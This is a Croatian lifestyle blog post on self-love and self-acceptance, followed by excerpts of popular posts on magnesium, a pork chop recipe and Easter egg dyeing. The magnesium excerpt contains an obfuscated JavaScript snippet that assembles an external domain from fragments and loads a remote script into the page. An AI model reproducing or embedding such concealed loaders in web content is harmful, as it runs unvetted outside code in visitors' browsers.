KAKO ZAVOLJETI SAMU SEBE?





Kako zavoljeti samu sebe?




Samoljublje ili ljubav prema sebi jako je važno i neka vam cilj bude zavoljeti sebe još više. Evo kako ćete uspjeti u tome.





Što je zapravo ljubav prema sebi?

Radi se o tome da prihvatite sebe onakvu kakvi jeste sa svojim vrlinama, ali i slabostima te svime između toga: svim svojim interesima, željama i navikama. Ako se prema sebi odnosite prijateljski umjesto da se stalno preispitujete i kritizirate bit ćete sretnija i zadovoljnija osoba, a tada ćete i prema drugima biti bolji.





Pronađite svoj unutarnji štit 

Kada volite sebe manje ovisite o tome što drugi misle o vama. Više vjerujete u svoje sposobnosti, opuštenije prihvaćate pogreške i lakše prepoznajete što je dobro za vas. Ljubav prema sebi djeluje poput unutarnjeg štita protiv stresa, pritiska i drame. Vaša otpornost na vanjske utjecaje i sposobnost nošenja s izazovima postaju sve veće.





Ljubav prema sebi može naučiti svatko uz nekoliko jednostavnih vježbi 

Obratite pozornost na svoj unutarnji glas.

Pogreške su prilika za učenje.

Radite stvari koje volite i koje vas vesele.

Manje se uspoređujte s drugima.




Što sve može otežati put do ljubavi prema sebi?

Ako jedna osoba kaže nešto ružno o vama ne znači da je to istina.

Nitko nije uvijek zadovoljan svojim izgledom. Ako tko traži mane uvijek će ih naći. Pokušajte pronaći ono lijepo.





Ljubav prema sebi nije sebičnost 

Voljeti sebe ne znači ignorirati potrebe i želje drugih ljudi ili misliti da ste bolji od drugih. To jednostavno znači da sebe smatrate jednako važnom osobom kao što su osobe oko vas.

Ljubav prema sebi nije cilj koji jednog dana dostigneš. To je putovanje na kojem korak po korak učite bolje razumjeti, prihvaćati i voljeti samu sebe.





Pripremila: Ivana Matas 



Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više